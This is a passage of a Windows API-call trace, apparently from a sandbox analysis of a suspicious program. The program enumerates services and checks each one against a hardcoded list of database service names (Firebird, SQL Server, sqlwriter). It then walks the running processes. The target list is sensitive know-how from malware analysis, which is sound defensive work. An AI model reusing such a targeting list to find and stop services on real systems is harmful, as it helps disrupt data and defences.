	[0184.465] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0184.466] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0184.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0184.466] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0184.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0184.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0184.466] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0184.466] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0184.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0184.466] lstrlenW (lpString="CDPSvc") returned 6
	[0184.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0184.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0184.466] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0184.466] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0184.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0184.466] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0184.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0184.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0184.466] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0184.466] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0184.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0184.466] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0184.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0184.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0184.466] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0184.466] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0184.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0184.466] lstrlenW (lpString="CryptSvc") returned 8
	[0184.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0184.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0184.466] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0184.466] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0184.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0184.466] lstrlenW (lpString="DcomLaunch") returned 10
	[0184.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0184.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0184.467] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0184.467] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0184.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0184.467] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0184.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0184.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0184.467] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0184.467] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0184.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0184.467] lstrlenW (lpString="Dhcp") returned 4
	[0184.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0184.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0184.467] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0184.467] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0184.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0184.467] lstrlenW (lpString="Dnscache") returned 8
	[0184.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0184.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0184.467] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0184.467] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0184.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0184.467] lstrlenW (lpString="DPS") returned 3
	[0184.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0184.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0184.467] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0184.467] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0184.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0184.467] lstrlenW (lpString="DusmSvc") returned 7
	[0184.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0184.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0184.467] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0184.467] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0184.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0184.467] lstrlenW (lpString="EventLog") returned 8
	[0184.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0184.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0184.468] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0184.468] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0184.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0184.468] lstrlenW (lpString="EventSystem") returned 11
	[0184.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0184.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0184.468] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0184.468] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0184.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0184.468] lstrlenW (lpString="FontCache") returned 9
	[0184.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0184.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0184.468] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0184.468] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0184.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0184.468] lstrlenW (lpString="gpsvc") returned 5
	[0184.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0184.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0184.468] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0184.468] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0184.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0184.468] lstrlenW (lpString="iphlpsvc") returned 8
	[0184.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0184.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0184.468] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0184.468] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0184.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0184.468] lstrlenW (lpString="KeyIso") returned 6
	[0184.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0184.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0184.469] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0184.469] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0184.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0184.469] lstrlenW (lpString="LanmanServer") returned 12
	[0184.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0184.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0184.469] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0184.469] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0184.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0184.469] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0184.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0184.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0184.469] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0184.469] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0184.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0184.469] lstrlenW (lpString="lfsvc") returned 5
	[0184.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0184.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0184.469] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0184.469] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0184.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0184.469] lstrlenW (lpString="lmhosts") returned 7
	[0184.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0184.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0184.469] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0184.469] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0184.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0184.469] lstrlenW (lpString="LSM") returned 3
	[0184.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0184.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0184.469] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0184.469] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0184.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0184.469] lstrlenW (lpString="MpsSvc") returned 6
	[0184.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0184.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0184.470] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0184.470] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0184.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0184.470] lstrlenW (lpString="NcbService") returned 10
	[0184.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0184.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0184.470] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0184.470] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0184.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0184.470] lstrlenW (lpString="netprofm") returned 8
	[0184.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0184.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0184.470] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0184.470] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0184.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0184.470] lstrlenW (lpString="NgcSvc") returned 6
	[0184.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0184.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0184.470] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0184.470] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0184.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0184.470] lstrlenW (lpString="NlaSvc") returned 6
	[0184.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0184.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0184.470] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0184.470] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0184.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0184.470] lstrlenW (lpString="nsi") returned 3
	[0184.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0184.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0184.470] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0184.470] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0184.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0184.471] lstrlenW (lpString="PcaSvc") returned 6
	[0184.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0184.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0184.471] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0184.471] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0184.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0184.471] lstrlenW (lpString="PlugPlay") returned 8
	[0184.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0184.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0184.471] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0184.471] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0184.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0184.471] lstrlenW (lpString="Power") returned 5
	[0184.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0184.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0184.471] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0184.471] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0184.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0184.471] lstrlenW (lpString="ProfSvc") returned 7
	[0184.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0184.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0184.471] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0184.471] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0184.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0184.471] lstrlenW (lpString="RpcEptMapper") returned 12
	[0184.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0184.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0184.471] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0184.471] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0184.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0184.471] lstrlenW (lpString="RpcSs") returned 5
	[0184.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0184.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0184.472] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0184.472] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0184.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0184.472] lstrlenW (lpString="SamSs") returned 5
	[0184.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0184.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0184.472] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0184.472] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0184.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0184.472] lstrlenW (lpString="Schedule") returned 8
	[0184.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0184.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0184.472] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0184.472] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0184.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0184.472] lstrlenW (lpString="SecurityHealthService") returned 21
	[0184.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0184.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0184.472] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0184.472] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0184.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0184.472] lstrlenW (lpString="SENS") returned 4
	[0184.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0184.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0184.472] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0184.472] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0184.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0184.472] lstrlenW (lpString="ShellHWDetection") returned 16
	[0184.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0184.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0184.472] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0184.473] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0184.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0184.473] lstrlenW (lpString="Spooler") returned 7
	[0184.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0184.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0184.473] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0184.473] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0184.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0184.473] lstrlenW (lpString="StateRepository") returned 15
	[0184.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0184.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0184.473] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0184.473] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0184.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0184.473] lstrlenW (lpString="SysMain") returned 7
	[0184.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0184.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0184.473] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0184.473] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0184.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0184.473] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0184.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0184.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0184.473] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0184.473] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0184.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0184.473] lstrlenW (lpString="Themes") returned 6
	[0184.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0184.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0184.473] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0184.473] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0184.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0184.473] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0184.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0184.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0184.473] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0184.474] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0184.474] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x61c198 | out: hHeap=0x5a0000) returned 1
	[0184.474] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3d0
	[0184.478] Process32FirstW (in: hSnapshot=0x3d0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0184.478] Process32NextW (in: hSnapshot=0x3d0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0184.478] lstrlenW (lpString="System") returned 6
	[0184.478] Process32NextW (in: hSnapshot=0x3d0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0184.479] lstrlenW (lpString="smss.exe") returned 8
	[0184.479] Process32NextW (in: hSnapshot=0x3d0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0184.479] lstrlenW (lpString="csrss.exe") returned 9
	[0184.479] Process32NextW (in: hSnapshot=0x3d0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0184.480] lstrlenW (lpString="wininit.exe") returned 11
	[0184.480] Process32NextW (in: hSnapshot=0x3d0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0184.480] lstrlenW (lpString="csrss.exe") returned 9
	[0184.480] Process32NextW (in: hSnapshot=0x3d0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0184.481] lstrlenW (lpString="winlogon.exe") returned 12
	[0184.481] Process32NextW (in: hSnapshot=0x3d0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0184.481] lstrlenW (lpString="services.exe") returned 12
	[0184.481] Process32NextW (in: hSnapshot=0x3d0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0184.481] lstrlenW (lpString="lsass.exe") returned 9
	[0184.481] Process32NextW (in: hSnapshot=0x3d0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0184.482] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0184.482] Process32NextW (in: hSnapshot=0x3d0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0184.482] lstrlenW (lpString="fontdrvhost.exe") returned 15
